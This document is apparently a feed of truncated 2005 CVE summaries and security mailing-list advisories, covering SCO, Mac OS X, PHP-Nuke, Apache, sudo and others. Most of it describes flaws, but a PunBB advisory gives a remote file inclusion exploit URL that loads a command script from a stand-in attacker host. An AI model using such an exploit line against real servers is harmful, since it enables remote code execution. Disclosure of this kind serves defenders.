CVE-2005-2926

Stack-based buffer overflow in 1 backupsh and 2 authsh in SCO Openserver 5.0.7 allows local users to execute arbitrary code via a long HOME environment variable...

CVE-2005-2100

CVE-2005-2100 is defined in the 4GB split patch of the Linux kernel for Red Hat Enterprise Linux 4; the rw_vm function in usercopy.c lacks proper bounds checking, enabling a local attacker to cause a denial of service (crash). Publicly linked advisories (RHSA-2005:514 and CentOS/CESA-2005:514) co...

CVE-2005-3308

The CVE-2005-3308 entry describes multiple cross-site scripting (XSS) vulnerabilities in Zomplog 3.4. The affected components are detail.php (name and comment parameters), get.php (username parameter), and index.php (search parameter). The root cause is insufficient input sanitization allowing in...

CVE-2005-2743

CVE-2005-2743 affects Apple Mac OS X 10.3.9 and earlier where Java extensions for QuickTime (version 6.52 and earlier) allow untrusted applets to call arbitrary functions in system libraries, enabling remote code execution. The root cause is a flaw in the Java extensions integration with QuickTim...

CVE-2005-2970

CVE-2005-2970 is described across multiple advisories as a memory-leak vulnerability in the Apache httpd worker MPM (worker.c). In affected setups, memory consumed by aborted connections could not be freed for new requests, enabling a remote attacker to trigger a Denial of Service via memory exha...

CVE-2005-3304

CVE-2005-3304 concerns multiple SQL injection vulnerabilities in PHP-Nuke 7.8. The flaws allow remote attackers to modify SQL queries and, in one case, execute arbitrary PHP code via (1) the username parameter on the Your Account page, (2) the url parameter in the Downloads module, and (3) the de...

CVE-2005-2742

SecurityAgent in Apple Mac OS X 10.4.2, under certain circumstances, can cause the "Switch User..." button to appear even though the "Enable fast user switching" setting is disabled, which can allow attackers with physical access to gain access to the desktop and bypass the "Require password to...

CVE-2005-2524

CVE-2005-2524 affects Safari on Apple Mac OS X 10.3.9 where remote attackers can bypass domain restrictions by presenting crafted web archives that cause Safari to render them as if from a different site. The available connected sources confirm the vulnerability description but do not provide con...

CVE-2005-2744

CVE-2005-2744 describes a buffer overflow in Apple OS X QuickDraw Manager that could allow remote code execution when processing crafted PICT images. Affected products are Mac OS X 10.3.9 and 10.4.2, with QuickDraw used by apps like Safari, Mail, and Finder. The underlying issue is in QuickDraw M...

CVE-2005-2926

CVE-2005-2926 affects SCO OpenServer 5.0.7: stack-based buffer overflow in backupsh and authsh triggered by a crafted HOME environment variable. Local attackers can execute arbitrary code with group backup or auth privileges (authsh could gain root). OpenServer 5.0.7 binaries backupsh/authsh are ...

CVE-2005-3305

Nuked Klan 1.7 is affected by multiple SQL injection vulnerabilities allowing remote attackers to execute arbitrary SQL via parameters in various files: (1) forum_id/thread_id (Forum), (2) link_id (Links), (3) artid (Sections), and (4) dl_id (Download). Root cause is unsafely constructed queries ...

CVE-2005-2746

CVE-2005-2746 affects Mail.app on Apple Mac OS X 10.3.9 and 10.4.2. The issue arises when using auto-reply rules, causing Mail.app to include decrypted message contents in replies, potentially exposing plaintext from encrypted messages. The vulnerability’s concrete impact is exposure of decrypted...

CVE-2005-2747

CVE-2005-2747 is a buffer overflow in the Apple Mac OS X ImageIO framework (OS X 10.4.2) used by WebCore and Safari. The vulnerability occurs in how GIF images are processed, allowing a remote attacker to execute arbitrary code. Affected components include ImageIO within OS X 10.4.x; the issue co...

CVE-2005-3311

BMC Software Control-M 6.1.03 for Solaris (and possibly other platforms) is affected by a local symlink race that allows a local user to overwrite arbitrary files via temporary files. This vulnerability can impact integrity (partial) with no confidentiality/availability impact per the CVSS vector...

CVE-2005-2742

SecurityAgent in Apple Mac OS X 10.4.2 can cause the "Switch User..." button to appear when fast user switching is disabled, potentially allowing attackers with physical access to bypass the wake password requirement. This CVE entry is supported by multiple sources, including NVD and Red Hat, whi...

CVE-2005-2743

The Java extensions for QuickTime 6.52 and earlier in Apple Mac OS X 10.3.9 allow untrusted applets to call arbitrary functions in system libraries, which allows remote attackers to execute arbitrary code...

[Full-disclosure] iDEFENSE Security Advisory 10.24.05: SCO Openserver authsh 'Home' Buffer Overflow Vulnerability

SCO Openserver authsh 'Home' Buffer Overflow Vulnerability iDEFENSE Security Advisory 10.24.05 http://www.idefense.com/application/poi/display?type=vulnerabilities October 24, 2005 I. BACKGROUND SCO OpenServer is a UNIX-like operating system for x86 platforms. II. DESCRIPTION Local exploitation o...

[Full-disclosure] [SECURITY] [DSA 870-1] New sudo packages fix arbitrary command execution

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 870-1 [email protected] http://www.debian.org/security/ Martin Schulze October 25th, 2005 http://www.debian.org/security/faq -...

Remote File Inclusion in forum PunBB

Remote File Inclusion in forum PunBB Date:24/10/2005 Severity: High version: 1.1.2 1.1.5 The bug reside in common.php Exploit : http://www.host.com/forum/include/common.php?punroot=http://www.hostevil.com/cmd?&=id Discovery by RoDheDoR L-G-H Team http://www.lezr.com FREE pop-up blocking with the...

[Full-disclosure] iDEFENSE Security Advisory 10.24.05: SCO Unixware Setuid ppp prompt Buffer Overflow Vulnerability

SCO Unixware Setuid ppp prompt Buffer Overflow Vulnerability iDEFENSE Security Advisory 10.24.05 http://www.idefense.com/application/poi/display?type=vulnerabilities October 24, 2005 I. BACKGROUND SCO UnixWare is a UNIX operating system. More information is available at:...